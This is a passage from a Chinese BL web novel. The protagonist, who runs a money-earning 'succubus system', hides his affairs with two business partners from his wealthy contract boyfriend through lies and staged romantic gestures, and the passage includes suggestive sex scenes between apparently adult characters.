可是大老板并不满意他的工作,因为很快就哭起来,肩膀一抖一抖的。 叶临的眼尾泛红,哭得很厉害,嘴里骂着:“艹,沈邵你这个混蛋,别!” 沈邵充耳不闻,他戏瘾过去了,现在是纯粹的享乐时间。 于是,混蛋员工开始以下犯上,不知疲倦地折腾。 刚开始叶临还能忍住声音,可是后面没办法,只能主动索求拥抱,跟沈邵吻在一起。 不知道过了多久,沈邵忽然停下来,帮他收拾着装,开窗换气,重新码列文件。 叶临其实还没有彻底满足,是被迫中断,不满地剜他一眼。 沈邵却笑起来:“快点收拾,我感觉顾嘉致要回来了。” 没一会儿,门就被打开。 跑得脸红气喘的顾嘉致出现在门口,手里拎着一堆东西,神采奕奕,浑身上下都洋溢着喜悦之情。 “沈邵,上周那个投资商,我谈下来了!” “啊,那太棒了!你看吧,我就说,有你出马,就没有谈不下来的生意。” 叶临吓得整理衣领,移动到桌子旁边。 顾嘉致刚想在对面的沙发坐下来,忽然注意到叶临,这才开口:“叶临,你怎么来了?” 叶临干笑起来:“我来这里检查工作,看你们有没有认真工作。” 沈邵故意做出整理文件的动作,咬重某个词汇:“对啊,叶临可细心了,每天都要来检查我,总是不放心。” 叶临抬头怒瞪沈邵,捏紧拳头,恨不得砸死他。 顾嘉致以为叶临还记恨沈邵,所以才会借着检查的名义来为难沈邵,只好劝:“哎呀,沈邵现在全心全意地为了梵星奉献,你就不要随意猜疑了。” 沈邵露出礼貌性的微笑:“谢谢理解,我相信嘉致可以带领公司开拓市场。” 顾嘉致自信地摆手:“没什么,我最近才发现,我很擅长谈业务!” 沈邵继续捧他:“对啊,嘉致是谈业务的天才了。 人各有所长,就像我这种内向腼腆的人,就只适合坐在办公室里负责行政管理。 还是得靠像嘉致这样开朗自信的人,才能托举公司。” 叶临慢慢地转头看沈邵,做出“内向”的嘴型,眼睛都直了。 这个家伙真是又一次刷新了自己的认知,如果沈邵都能称之为内向腼腆,那世界上就没有害羞的人了? 顾嘉致不好意思地笑起来:“你太谦虚了,公司内外都重要。相信靠我们两个人,梵星很快就能发展起来。” 靠!顾嘉致还真信了沈邵的鬼话,好蠢啊! 怪不得顾嘉致能和梁文乐做朋友,他们两个人都好骗,都是笨蛋吧! 沈邵的这些话,不就是他夸梁文乐的嘛,而且好不真诚,完全比不上他。 叶临,打断他们的谈话:“靠,我还站在这里,你就忽略掉我,只管你和沈邵了。 拜托你搞清楚,是我投资才有的梵星,你们都是打工的,我才是老板!” 顾嘉致附和他,紧接着发现他的脸颊有些红:“你怎么红红的,刚从外面跑进来?” 叶临连忙摸脸,心虚地解释:“房间里的温度高,热的。” 沈邵在旁边欣赏他慌乱的神情,就像是看自己的作品,心情很好。 顾嘉致才发现窗户被人打开,连忙站起来去关:“窗户都打开了,空调冷气跑外面,当然热了。” 沈邵帮忙掩饰:“哦,刚刚叶临嫌弃我用的香水臭,所以才开窗的。” 顾嘉致知道叶临这个臭毛病,就喜欢天然香味,讨厌人造香薰,只*好叹气:“他确实不喜欢,你以后别喷香水吧。” 沈邵装作不经意地说道:“你对叶临温柔体贴,清楚他的喜恶,还会考虑他的感受,简直就像是谈了恋爱一样,模范好男友。” 顾嘉致的脸色瞬间冷下来。 沈邵面露愧疚之色:“对不起,我说错话了。” 叶临踢了他的脚跟,骂道:“你本来就说错话了,乱说什么,我跟嘉致可是” 真的不想再听到那个词汇。 顾嘉致抬头打断他:“你今天晚上回哪里?” 叶临想到梁文乐今天晚上就回来,只好说:“回梁文乐那里。” 顾嘉致冷笑起来,没说话。 气氛变得尴尬,就好像是在酝酿着战火。 沈邵主动出声:“先去我那里吃晚饭吧,顺便聊聊后面的计划。” 叶临后面才知道,沈邵的胃功能差,16岁后从来不放心别人做菜,都是自己做菜,所以厨艺格外的好。 要是去沈邵家吃饭,那确实是个享受。 叶临第一个赞同:“好啊好啊,那你做饭快点。” 顾嘉致勉强同意,他被家里断了经济来源后,就想把心思放在正业上,而不是纠结儿女情长,那样没有好下场。 外面的太阳正盛,白色的建筑,墨绿的树林,在明亮的光线下就好像是一幅油画。 下车后,叶临小跑着朝这栋偏西式的公寓楼前进,像个还没毕业的中学生,身上的少年感十足。 而顾嘉致和沈邵每天都要忙碌工作,身上已经出现了淡淡的死感,眼神略显疲惫。 叶临还嫌弃他们两个走得慢,扭头去看,催促道:“你们快点啊,真是的!” 顾嘉致冲上去搂住他,凑到耳边说道:“有本事你来应酬,看你还有没有活力?” 叶临注意到不远处有行人,用力去推:“哎呀,你快放开我,这样会被人误会的。” 顾嘉致偏不,还要亲他的脸颊:“我看你是怕他们传到梁文乐那里吧,真是没良心,现在还要想着梁文乐。” 叶临挣扎不开,只好看向沈邵:“喂,你就光看着啊,快点帮我,不然我就辞了你!” 沈邵无奈地摇头,看向顾嘉致劝说:“你快点抱他回去吧,外面太晒了,对皮肤不好。” 顾嘉致觉得他说的在理,干脆把叶临抱起来,快步朝着大门走去。 沈邵跟在后面,看着在他肩头乱挣扎的叶临,嘴角微微扬起一个弧度,像是在欣赏戏剧。 其实他是可以接受叶临身边有很多男人的,只要有他的位置就好。 但倘若有一天,叶临真的付出对某个人付出真心,只想跟那个人在一起,那他就受不了。 回到公寓后,叶临和顾嘉致就坐在沙发上,而沈邵进入厨房里。 不一会儿就传来切菜声,看电视的顾嘉致放下遥控,看向厨房的位置:“我这样干坐着不太好吧。” 叶临边吃水果边看电影:“有什么不好的,沈邵一个人应付得来。” 顾嘉致感觉沈邵忙活一天,还要回家给他们做饭,确实太辛苦了。 而且他总觉得大家都是朋友,纯粹当客人也不好。 思来想去,他站起来朝着厨房走去:“我帮帮你吧。” 叶临见状,惊得瞪大眼睛。 他忽然想到,梁文乐喜欢沈邵,顾嘉致跟他志趣相投,不会也喜欢上沈邵吧。 这可不行,喜欢沈邵就是往火坑里跳啊。 他的好兄弟绝对不能喜欢沈邵这个混蛋! 叶临水果都不吃了,立即跑进厨房:“我也来帮忙!” 说着,他还故意挤到沈邵和顾嘉致中间,防止他们亲密接触,随手拿起番茄。 顾嘉致挥手想把他赶出去:“你进来只会帮倒忙,出去吧。” 叶临不服气地放出狠话:“你看不起谁呢,我厨艺比你还要好!” 顾嘉致嘲讽:“好啊,你要比吗?” 叶临撸起袖子,就打算跟他比一场。 沈邵只能在旁边看戏。 最后,叶临和顾嘉致做出来的饭菜都不能吃,倒是沈邵做出的四菜一汤,色香味俱全。 他们做的菜跟沈邵相比,只能说勉强入口,味道诡异差劲。 晚饭席间,叶临还是老老实实地吃了沈邵的饭菜,全程低头干饭,完全不想说话。 顾嘉致也对沈邵的厨艺赞不绝口。 吃完叶临就在想,如果每天工作回到家里,还能吃到这样美味的饭菜,简直就是梦想中的生活。 想完,他又去看沈邵,感觉这家伙也就厨艺能拿得出手了。 沈邵对上他的眼神,微笑着问:“怎么了,饭菜不合胃口吗?” 叶临摇摇头敷衍一句“没事”,就起身去沙发躺着打游戏。 剩下的事情就交给着两个人了,反正与他无关。 刚登上游戏不久,就看到梁文乐发消息。 【你怎么又出去了!】 【啊,文乐,我有事才出来的,马上就回去。】 【你怎么老是有事啊,到底什么事!】 【文乐,你等我回来跟你说。】 光看文字描述,就能够感觉到梁文乐的怒意,必须赶快回去,还得提前编好理由。 叶临拿上外套就往外赶,到了玄关处就被从厨房里出来的沈邵看到。 沈邵看他着急的样子就知道是梁文乐在找,于是问:“这么着急,是正牌男友在催你回去吧,记得编好借口,别被发现了哦。” 叶临正想把鞋塞他嘴里,指着眉心骂:“神经病!” 这时顾嘉致还在厕所,没有发现他离开。 刚到楼下,就接到梁文乐的电话。 “发定位,我开车过来接你,马上!” “啊,好好好!” 叶临可不敢发这里的定位,连忙选了附近的商业街,这才发过去。 梁文乐嫌弃他动作慢,把他臭骂一顿。 还好商业街高楼林立,遮盖住大部分视野,不看地图,很难会发现这里距离西式小公寓很近。 正是傍晚时分,高楼在夕阳中拓出剪影,像是电影里的场景,美好而温馨。 街道上人流如织,都穿着时尚的装扮,每个人的脸色都充满了朝气,而且发量很多。 叶临随便找了个商场等着,没一会儿就看到梁文乐。 梁文乐把车停在外面,走进商场先是环视四周,看看叶临周围有没有暧昧的人。 确认没有,才走过去质问:“你来这里做什么!” 叶临从背后拿出一个黑色的礼物盒,递给梁文乐:“文乐,这是我送给你的戒指,你忘记今天是我们恋爱纪念日105天了吗?” 大部分人都是过一百天纪念日,叶临没有办法,随便挑了个银色戒指,硬蹭情侣必过的纪念日。 梁文乐回想过去的日子,发现确实到了105。但是他都没有注意到这个细节,叶临却记住了。 他打开礼物盒,发现里面躺着一枚钻石打造的男士戒指,非常朴素,但背面有雕刻“叶临永远喜欢梁文乐”。 这是他收到过最廉价最丑的戒指,但是看到上面的文字,又忍不住动容。 叶临亲手把戒指帮他戴上,低声解释:“其实100天的时候我就想送给你了,还规划了纪念日的约会计划。 可是我太笨了,总是把事情搞砸,所以就没办成。今天我补了戒指,还想跟文乐去海边约会,文乐可以原谅我吗?” 梁文乐看着手里的戒指,又看叶临。 他的眼睛接近于杏眼,不是非常圆,兼具可爱和帅气,同时眼尾微微向下,看起来非常真诚,饱含情谊。 没想到,叶临会认真地规划约会计划,还会因此烦恼。 “那你前段时间老是跑出去,还敷衍我说有事,就是为了这个。” “对啊,因为是惊喜嘛,我不想提前告诉文乐,留个悬念。谁知道,花了好多时间我做不好,真是太没用了。” “你确实没用,准备这么久,居然只有戒指!” 梁文乐嘴上嫌弃,实际上非常喜欢这枚戒指,心里暖暖的,就像是灌入了温热的蜂蜜。 叶临想了想,踮起脚去亲吻他,笑着问:“那,那再加上一个吻,够不够啊?” 梁文乐被他笨拙纯情的动作打动,心跳得飞快,急地结巴起来:“你,你怎么能在这里亲我?” 叶临失落地垂下眼帘:“我,以为文乐喜欢的,很讨厌吗?” 声音轻轻柔柔的,就好像是被棉花团砸中,痒丝丝的,好喜欢。 梁文乐抓住他的手腕往外拽,瞬间就进了车里面。 还没等叶临反应过来,他就被按在后排上亲。 梁文乐太喜欢亲吻了,纠缠十多分钟才分开。 叶临的脸颊全红,呼吸都不稳。 梁文乐靠着他的胸膛听同样快的心跳,忽然有种两个人被无形的线连在一起的感觉。 前段时间他总怀疑叶临有外遇了,所以总是往外跑,但是今天就打消了疑虑。 这样单纯可爱的叶临,怎么可能背叛他去喜欢别人呢? 虽然一开始他非常嫌弃叶临,但是现在很庆幸自己跟叶临签订了恋爱合约,才能收获一个全心全意的恋人。 难得愧疚的梁文乐,决定完成叶临一个愿望。 “你可以对我许一个愿望,在我的能力范围之内都能实现。” 虽然很想要钱,最好是几个亿。可是梁文乐的气刚消不久,提钱就会破坏气氛。 经验丰富的叶临早就明白,钱不能主动要,要引导对方自愿给,这样关系才会长久,获得更多。 “我最大的愿望就是希望文乐天天开心啊,没有烦恼!” “我还以为你这个小财迷会要钱呢,居然是这个愿望。” “因为在我心里,文乐比什么都重要啊!如果文乐的幸福快乐,需要我倾家荡产才能换到,那我也心甘情愿。” 叶临拿起梁文乐的手,放在心口的位置,眼神真挚。 他没有多余的技巧,只是直勾勾地看着你,用最有优势的眼睛。 眼底像是春日里,清澈透亮的溪水在流动,两岸皆是如云烟般的花。 受不了这种情话,真的会心动。 可就算是听懂,也不想正面回应,那样太难为情了。 梁文乐心跳漏了半拍,白皙的脸庞浮现出红晕,着急地辩解:“谁,谁要你倾家荡产了,搞得你跟我谈恋爱很穷一样。” 叶临还想继续输出情话,就听到手机提示音。 梁文乐看向别处,声音都发颤:“自己看消息吧,穷死了,居然给我买这种戒指,下次记得买好的,知道吗?” 叶临点点头,语气卑微:“文乐,我记住了。对了,如果你不喜欢,就默默丢掉,不要告诉我。因为只要不知道,就不会伤心了。” 梁文乐连忙解释:“才,才不会丢掉啊!你这么脆弱,丢掉肯定会伤心,我就勉为其难地收下好了。” 叶临笑起来,都不敢打开手机看余额,还在继续扮演深情。 毕竟刚发钱就低头去看,实在是太虚假了,得忍着。 梁文乐又问:“那你打算带我去哪个海边?” 谁知道啊,临时起意的,根本没有做计划。 叶临靠着梁文乐的肩膀,故作柔弱不可欺的模样:“文乐想去哪里,就去哪里好了,我都听文乐的。” 梁文乐幸福得冒泡,感觉自己就像是海里的水母,要浮出水面了。 他就不应该随意猜忌叶临,这么好的男朋友,还是要多加信任。 半个小时后,他们来到附近的海边。 天色已经完全暗下来,漆黑的天空撒着无数枚彩色钻石,明亮耀眼。 弯弯的弦月高挂,在海面上有银色的倒影。 冰凉的海水不断地漫上岸,冲刷贝壳和岩石。哗啦啦的潮汐声,显得四周静谧。 远处是高楼,这个地方是私人海滩,只有他们两个人,可以尽享天地的广阔。 海风吹在脸上很舒服,可以忘却烦恼。 叶临下车前找机会看了银行转账记录,居然有九千万,实在是豪气! 果然,梁文乐平时不给钱,一感动就喜欢付很多钱。 而且他比顾嘉致有钱太多,说给就给,是真正的富家公子。 这九千万足够梵星运转好几个月了,不过要留一半出来给梁文乐买礼物。 他一直舍不得送梁文乐贵价礼物,都是送几万块的东西,再配上甜言蜜语。 梁文乐好骗,只要够甜蜜也能接受便宜货,但叶临还是担心,时间久了会被梁文乐厌弃,下次打算忍痛送给几千万的。 叶临在沙滩蹲下来,用沙子砌成两个小人,中间还要画上爱心连接,接着就对海浪大声说道:“今天能和文乐出来看海,我好幸福啊,希望以后也能这样!” 梁文乐听到他的声音,蹲下来嫌弃道:“你这样好蠢啊,还好附近没人。” 叶临托着腮看他,眨了眨眼,像是天色的星辰:“可是网上都说,只要对大海说出自己的愿望,海风听见了,就能实现。我就是想实现愿望,永远跟文乐在一起。” 他这些话毫无根据性,蠢兮兮的,像是那种会相信爱情童话的大笨蛋。 梁文乐觉得自己应该嘲笑他的,可是居然也在预想他们的未来,只好轻声骂:“笨蛋!” 叶临抓住梁文乐的手臂轻轻地摇,声音委屈:“就我这样想,文乐不这样想吗?” 梁文乐被他摇没办法,站起来朝着大海喊:“好吧,那我愿意跟叶临这个超级大笨蛋永远在一起!” 叶临激动地跳起来,抱住梁文乐:“太好了,我真的很喜欢很喜欢文乐。” 梁文乐将他抱起来,朝着车子走。 果然网上说的对,跟喜欢的人在一起,就会变成幼稚小孩,又笨又好笑,但是好幸福啊! “文,文乐,你放我下来啊。” “不放。” 车门被关上,后座已经被放平,而叶临躺在上面。 叶临刚对上梁文乐的眼睛,就知道他要做什么,连忙抓住旁边,急道:“文,文乐,我们不是说好了,再等我适应适应吗?” 梁文乐亲了好一会儿才分开,抵着他的眉心抱怨:“都大半个月过去,阴影早就消了。” 叶临还在挣扎,但是被强硬地按住手。 反复劝说都没有用,反而快要把梁文乐的怒火勾出来。 没办法,领了巨款,只能豁出去。 叶临试着亲亲梁文乐,可怜兮兮地问:“文,文乐,那你这回听我引导吧,我真的很怕。” 梁文乐心情好,难得有耐心:“可以,我这次真的会很小心,很小心的。” “是吗,那你听我的吧。” 叶临今天下定决心,必须教会梁文乐,不然他会死得很惨。 结果梁文乐撤掉遮挡,想要帮他好好地做准备,却感觉到湿润。 按照寻常道理,空了半个月,就应该是干的,滞塞感很强。 怎么会如此顺利? 梁文乐疑惑:“你这里怎么回事?” 叶临猛然想到白天的事情,大脑开始快速运转,紧张地快要冒汗。 第30章 第30章耳朵都红了,好可爱 虽然沈邵这个人听话,没有留下任何痕迹。 但梁文乐问的事情,确实难以回答。 要是今天不能蒙混过关,他就完蛋了。 人总能在紧急情况下发挥最大的潜力,做出及时的反应。 叶临抓住梁文乐的手,主动展现。 “我,我今天来的时候做过准备了,就是想回家再跟文乐亲热。 刚刚抗拒,是觉得在这里不好,但是文乐要是想要,那,那我也可以吧。” 叶临的眉眼微微抬起,咬着嘴唇,脸颊红扑扑的,眼神羞涩。 看起来就像个为了爱人心甘情愿奉献出自己的纯情少男。 梁文乐看过所有,知道他没有任何痕迹,而且这里的情况,确实也很像网上说的提前做准备。 他经常刷到恩爱的同性情侣,0的一方会提前做准备,这都是为了方便爱人。 叶临喜欢他,准备这种事情,应该也是正常的。 梁文乐今天被幸福冲昏了头脑,而且经验少,就没有多加怀疑,反而亲亲叶临,感慨道:“你这么喜欢我啊,居然为我提前做准备?” 叶临撒谎太熟练了,轻易就演出深情款款的眼神:“对,对啊,我觉得文乐是我这辈子遇到最好的人了。我当然喜欢你,特别特别喜欢。” 后面的话,他声音逐渐小下去,声若蚊呐,以此表达自己的害羞和纯情。 梁文乐最吃他这一招,动作都变得轻柔,生怕伤到他。 感觉就像是坠入棉花丛中,到处都是绵软的白色棉花团,组成了白色的海洋。 在这个白色的海洋中,波浪都是轻柔的,像是春风拂过,掀起阵阵的痒意,浮现出涟漪。 这些涟漪会随着风的力度而逐渐变小变大,直至完全沾满海洋,形成巨大的海浪。 可是这些海浪都过于短暂,并不能形成那种以压倒性优势,掀翻所有的大浪。 相当于只是单纯地挠痒痒,并不能精准地找到痛处,给予致命一击。 今天的梁文乐确实是温柔的,特意放慢了步调,所有的动作都是轻柔,生怕伤到。 可仅仅是这样,完全不是个合格的男友,甚至严重点说,都不算是个男人。 叶临惦记着他的自尊心,一直都没说,可是忍了又忍,觉得自己不应该赚这种钱。 最起码这种事情应该双方都快乐的。 怎么能有像梁文乐这样废物的男人呢? 终于,在某个瞬间,叶临忍不了。 艹,真的忍不了了! 叶临尝试出声引导,指明准确的方向: 一会儿左,一会儿右,一会儿上,一会儿下。 可是光是声音指导,并不能让笨蛋学渣梁文乐找到正确的地点。 那就只好自己也配合起来了,不然这要折腾到什么时候啊? 叶临已经坐起来。 微微抬,移动,往下压,左偏,右偏。 真是着急死他,怎么人和人之间的差距那么大。 顾嘉致和沈邵都能轻轻松松找到,就梁文乐这个蠢货找不到。 真是没用! 叶临翻了个白眼,在心里默默吐槽。 可是下一刻,他就有了熟悉的感觉。 瞬间瘫坐回去,难以起来。 是触电后,被电流带过的感觉,酥酥麻麻,还有点痒。 再出声的时候,已经染上了别样的味道。 “文,文乐是”叶临还想说话,发现自己的声音实在是太黏了,只好抓紧梁文乐的手腕,示意他。 “这里?”梁文乐再蠢,这个时候也知道了,下意识地去确认。 “哼!”叶临轻叫一声,像是猫猫在撒娇,又像是春天来临之际的桃花被风吹过,轻颤着摇下许多花瓣。 “你?”梁文乐还是第一次看到叶临能有这种反应,不敢相信地再次确认。 他还是太好奇了,反反复复,连续不断,转换了很多方式,只为了印证自己心中的猜想。 叶临果然发出了不同的声音,但都不是痛苦的,而是沾染了特殊情感的。 听起来就像是被猫猫抬起饱满的粉爪爪挠了心脏,痒痒的,非常舒服。 而且叶临淡然的神情已经发生了变化,眼底潮湿,卷长的睫毛都被打湿,微肉的鼻头泛着点粉,脸颊更是不得了,就像是偷拿了女孩子的腮红打好几圈,红扑扑的。 “文,文乐”叶临靠进梁文乐的怀里,声音轻轻的,呼吸很热,胸膛起伏不定。 梁文乐惊奇地发现,原来叶临也可以有这种反应。 那之前的初次,叶临的神情痛苦,脸色惨白,五官都扭曲了,还不断地掉眼泪,非常可怜。 看来确实是他没有做好。 梁文乐非常看重初恋,他决定好好地做个合格的恋人,在这种事情上绝对不能折磨叶临了。 他默默地记下,还为了增强记忆力,来来回回地找了好几次。 可是这就完全忽略了叶临的承受能力,只一味地管自己的感觉。 叶临快要被磨死了。 浑身都在发抖,就像是有蚂蚁在爬,还保持着生物的钻洞本能。 本来白天沈邵就已经做得够好了,梁文乐的这些纯粹是多余,完全可以直接点。 他抓紧梁文乐的衣袖,低声恳求:“文,文乐,可以了。” 梁文乐注意到他的耳垂全红起来,像是小樱桃。 于是低头去亲。 接着就依着叶临的意思,直截了当,不拐弯抹角。 这次就比上次要顺利很多。 厨房里的鱼跳出水池,从管道里滑进去,转瞬间就到了外面的大海。 可以自由肆意地游泳,享受着大海温暖舒适,以及密如森林的海藻群。 它会在海藻群里穿梭,找到自己想要安家的地方,再停下来。 叶临总算松了口气,他还怕梁文乐又乱来,试图指挥。 梁文乐才老老实实地听了一会儿,紧接着就开始我行我素,试图自己去发现叶临的其他的反应。 果然很有意思,叶临不再是个躺平的死尸,更不是冰冷的娃娃,而是个活生生的人。 会叫,会求,会抓着他,会寻求庇护。 而且他也清楚地感受到,什么叫做情侣之间才有的快乐。 原来,彼此都高兴是这种感觉。 那初次确实是太糟糕了,以后都要这样。 梁文乐低头去亲叶临,还会特意挡住他的头,免得他被撞到。 虽然已经有了很大的进步,但梁文乐的表现还是比不上顾嘉致和沈邵,甚至略显笨拙。 有时候准确,有时候又不准确。 叶临只好要求更换位置。 他觉得还是自己动手,丰衣足食比较好。 梁文乐刚开始不明白,但是从下仰望着的时候,终于领悟。 叶临总能找到自己喜欢的,所以可以带动梁文乐,从而实现完美的流程。 不过他的体力不支,很快就不行了。 只能休息,呼出很多热气。 梁文乐趁机反客为主,将刚刚学会的内容全部实践一遍,还发现了很多细微的技巧。 很快,叶临就开始求饶。 “文,文乐,你别,别” 梁文乐看他发抖,于是抱住,语气天真:“可是我觉得这样很好啊,你不是也喜欢吗?” 叶临还想回答,却突然被触碰到某个开关,崩溃地哭起来。 “呜呜呜呜” “啊,你怎么哭了?” 梁文乐吓得去查看,结果发现叶临根本说不出话,神情怪异,完全不像是伤心的样子。 只是一瞬间,他就意识到叶临刚刚为什么哭出来,瞬间有了成就感。 叶临还在发抖,窝进他怀里,就像是某种小动物害怕外界的伤害,钻进安全的窝里,非常可爱。 梁文乐低头吻发梢,心里美滋滋的。 他爱上了这种感觉,又再次实验。 直到叶临昏过去,才算完成实验。 回去的路上,叶临身上盖着被子,躺在车后座,睡得很熟,几乎像是死过去。 梁文乐在前面开车,心情愉悦。 他时不时会透过镜子观察后面的情况,确认叶临没有掉下后座,才安心。 这回他开车很稳,没有刻意超速,还专挑平稳好走的路段。不走陡峭,有大弯的路段,充分考虑到叶临的睡眠。 时间是长了点,但到达别墅的时候,叶临还没醒过来。 梁文乐抱着叶临回去,途径客厅,就看到圆圆跑过来。 圆圆吐着舌头,仰头看叶临,汪汪汪地叫起来。 梁文乐连忙呵斥:“圆圆别叫,他睡着了。” 圆圆被训练得很好,立即闭嘴,歪着脑袋打量这两个主人。 叶临身上只盖着一件大衣,小小的脸埋进怀里,双腿悬空,纤细修长。 忽然不稳,滑落半点,就瞥见白玉上有红蔓延。 梁文乐怕他着凉,把大衣拉上来盖好,才朝着楼上走去。 圆圆也想跟上去,但是被主人要求回去,只好退回自己的窝里。 它委屈地耷拉耳朵,感觉很奇怪,为什么今天两个主人不陪他一起玩? 还有,两个主人在玩什么呢,好像很累的样子,都睡过去了? 当然,脑袋小小的圆圆想不通这些事情,吃了点粮就睡过去,美美地等待叶主人早起带它去外面玩。 虽然梁主人养育它多年,对它很好。但它还是更喜欢这个才住进来的叶主人。 因为梁主人很懒,不喜欢带它出去玩,都是丢给管家,早出晚归,很少在家里停留。 可是叶主人就不一样了,非常有活力,经常会带它出去玩,飞碟,互相追逐,藏物品的游戏。 而且叶主人每次都会给它好吃的,都是平时吃不到的独特零食。 可是圆圆睁开眼就失望了,整整一个上午,它都没有看到叶主人,伤心地哀叫。 管家把它带出去玩,才缓和了情绪。 而它惦记的叶临此时还在睡梦中,好久才醒过来。 叶临醒过来的时候,没有强烈的痛感,但是嗓子很难受。 叶临试着说话,发现声音沙哑,像是含着沙子。 房间里的窗帘已经拉上,梁文乐就坐在窗边跟人聊天,侧着脸,柔和的光线将立体的轮廓衬托出来,只有这种安静的时候,他看起来才像副中世纪油画,美好矜贵。 梁文乐沉浸在幸福的氛围中,正在跟好朋友们分享自己的恋爱经历。 恨不得把叶临对他的好,事无巨细地说出去,也不怕朋友们烦他。 还在朋友圈里发了叶临熟睡的照片,以及他们牵着手,大秀恩爱。 他太专注于手机,都没注意到叶临醒过来,直到听到断断续续的声音。 “文,文乐,我渴了” 抬头去看,是叶临醒过来,正在低低地叫唤他的名字,只不过声音沙哑,好难听。 梁文乐走过去,把水递给他:“你嗓子怎么哑了?” 叶临真想撕烂梁文乐的嘴,质问他怎么好意思问出这种话,真的好蠢。 但是他还是先把水喝完了,才慢慢地回答:“就是醒来觉得嗓子干干,好难受。可能是过度了,所以嗓子不太舒服。” 梁文乐总算想起来,叶临昨天晚上哭了很久,怪不得嗓子会问题呢。 只要想到昨晚,梁文乐的脸颊就红起来,实在是忘不掉那时的情景,心脏又开始剧烈跳动。 甚至,他还觉得心痒痒的,于是凑过去亲了叶临,抓住手暗示道:“昨天好开心啊,既然你醒了,那我们就” 叶临快被他吓死了,连忙找借口推诿:“文乐,这种事情要节制,不然会影响身体健康。 我,我就没有文乐身体强健,特别瘦弱,次数多就会生病难受的。” 梁文乐想到抱住叶临的感觉,确实很瘦小,勉强同意:“好吧,那我给你找点治嗓子的药,你等等。” 叶临点点头,目送他离开卧室。 等他走了,总算可以小声骂:“纯脑。瘫!” 真的很生气,虽然没有痛感,也不会导致他好久不能行动,可还是伤到了嗓子。 果然,跟梁文乐做这事情就是没有好结果。 为了避免自己生气,叶临还是查了余额。 【宿主当前资产为一亿一千五百万。】 原本就是靠魅魔系统赚的钱,加上昨天晚上的九千万,也有这么多了。 除去四千万给文乐买礼物,还剩七千多万可以给公司烧。 怎么总感觉靠魅魔系统赚的钱变少了呢,相处每小时100这部分钱太少了,可以忽略不计,但是每小时20万呢? 这段时间,经常跟这三个男人厮混,应该不止这点钱吧。 叶临要求系统查一下前面时间段的增速,他现在养公司,真的很需要钱,每一分钱都需要精挑细选。 【昨天晚上每小时金钱增速为20万。】 【这里提醒宿主,顾嘉致和沈邵因为资产减少,已经被降级。 他们产生的金钱减少,大概是每个小时100降为60,而每小时20万也降为12万。】 什么,就因为资产减少,所以他们两个不是高质量男性,降级了? 【是的,宿主,男性质量主要是由资产和外貌构成,顾嘉致和沈邵的外貌无可改变,但资产大幅度缩水,所以要降级。】 艹!难怪,自从沈邵辞职,顾嘉致被断经济来源后,他就感觉钱少了。 但是那种时候自顾不暇,哪有时间去关注金钱增速的问题,而且他习惯了跟魅魔系统要钱,都懒得计算。 也就最近需要用钱,所以会对数目敏感,从而发现问题。 原来,顾嘉致和沈邵已经降级了啊! 那他们岂不是都比不过梁文乐? 【是的,梁文乐并未降级。】 叶临听到魅魔系统的阐述,脑子里忽然冒出一个想法。 如果他现在给顾嘉致和沈邵钱,他们会升级吗? 【会有所升级,但宿主能拿出的钱不多。】 这是实话,分给沈邵和顾嘉致,公司就没钱运转了。 要是梁文乐继承了家产,或是去梁家任职务应该会升级吧。 【是的,梁文乐能通过继承家产和任职的方式升级,而宿主因为他产*生的金钱会很多。】 【根据计算,梁文乐继承梁家的家产,那么每小时增速会由20万变为2000万。】 艹,这还得了! 叶临忽然很心动,他得想个办法,劝梁文乐好好学习,进入梁氏工作才行,掌握大权才行。 他现在又不嫌弃魅魔系统了,通过增值男性伴侣,从而让自己实现暴利,还是很不错的。 而且每小时2000万,这才是符合神豪文的常理。 以前他看神豪文的时候,就感觉上亿的钱多如牛毛,作者甚至经常喜欢用兆做单位,随随便便就赚很多兆。 结果自己穿书,居然是100块,20万块这些,就差很多。 现在明白了,原来是因为他身边这些富二代没继承家业,也没事业啊。 叶临想通后,就想劝梁文乐上进。不过这是个漫长的过程,需要耐心,但他不介意。 “你在想什么啊,笑得这么开心?”梁文乐忽然出现在他面前,挥挥手,把药递给他。 “我在想文乐对我好好啊,我好幸福。”叶临想到每小时2000万,差点就流口水,连忙收住,冲梁文乐笑。 “嘿嘿嘿,你知道就好。”梁文乐干脆亲自喂他喝药,还抱怨圆圆不乖:“它一直叫,好烦!凶了两句,就生气躲起来。” “哎呀,小狗都是喜欢跟主人出去玩的,你不陪它,当然不高兴了。等会儿,我去遛它。 对了,你以后不要凶它,小狗智商只有八岁儿童,听得懂,会害怕的。” 叶临对梁文乐虚与委蛇,但对可爱的萨摩耶可是真情实意。他是真心疼圆圆,恨不得现在就去遛狗。 梁文乐心里不太舒服,但午饭后还是跟着叶临去院子里遛狗。 圆圆看到喜欢的叶主人,高兴地摇尾巴,汪汪直叫。 叶临陪着圆圆做游戏,一会儿是飞盘,一会儿是追逐。 梁文乐在旁边配合,也被这项运动感染,愿意加入这场游戏里。 傍晚,夕阳热烈如火,还在地平线熊熊燃烧,周围的云层都被染红。 他们就坐在草地上,肩膀靠在一起,面前有只白色萨摩耶蹲坐着,跟他们一起欣赏落日壮景。 橙红色的夕阳里,草地泛着细碎的光,两人一狗的黑色剪影,犹如电影幸福大结局的画面。 梁文乐牵着叶临的手,忽然明白,为什么家庭都喜欢养狗。 因为两个相爱的人在一起陪狗狗玩,就像是结婚多年,幸福美满。 他和叶临注定没有孩子,那圆圆就是他们的孩子。 这瞬间,他忽然冒出念头:好像真的可以跟叶临从恋爱走向婚姻的殿堂,白头偕老。 不过他还没到法定年纪,这种事情只是想想,等到了时间再说。 在此之前,他要跟尽情享受跟叶临的热恋期。 后面的几天里,叶临发现,梁文乐比以前都要粘人很多。 而且梁文乐自从尝到好处,每天都会想要。 甚至一天之内,只要对上眼神,有感觉就会就地解决。 才过一周,资产很快就增加了四千万,但叶临感觉自己快虚死了,都没力气去遛狗。 遛狗的任务就交给梁文乐,他喜欢替叶临照看孩子。 叶临为了避免自己虚脱而死,决定跟梁文乐提出节制计划。 梁文乐刚开始还不情愿,非要找借口和理由亲近,但看到叶临两腿打战,实在是太虚弱,还是勉强接受节制计划。 早上在教室的时候,大家都在低头玩手机,外面的天色昏暗,风卷起落叶,不知飘向何处。 叶临趴着休息,看到外面的景色,忽然生出一种萧瑟落寞之感。 他感觉自己好苦好苦,为了钱都快豁出性命了。 梵星所有员工都应该感谢他,因为员工们的工资都是他吃苦陪笑换来的。 呜呜呜呜,真的好苦。 还好昨天梁文乐没有忽然发癫,疯狂索求,只是单纯地亲亲就睡下了。 不然,他今天都来不了教室。 节制了三天,还吃了很多补充的药膳,身体有所好转,但内心的疲惫感无法消解。 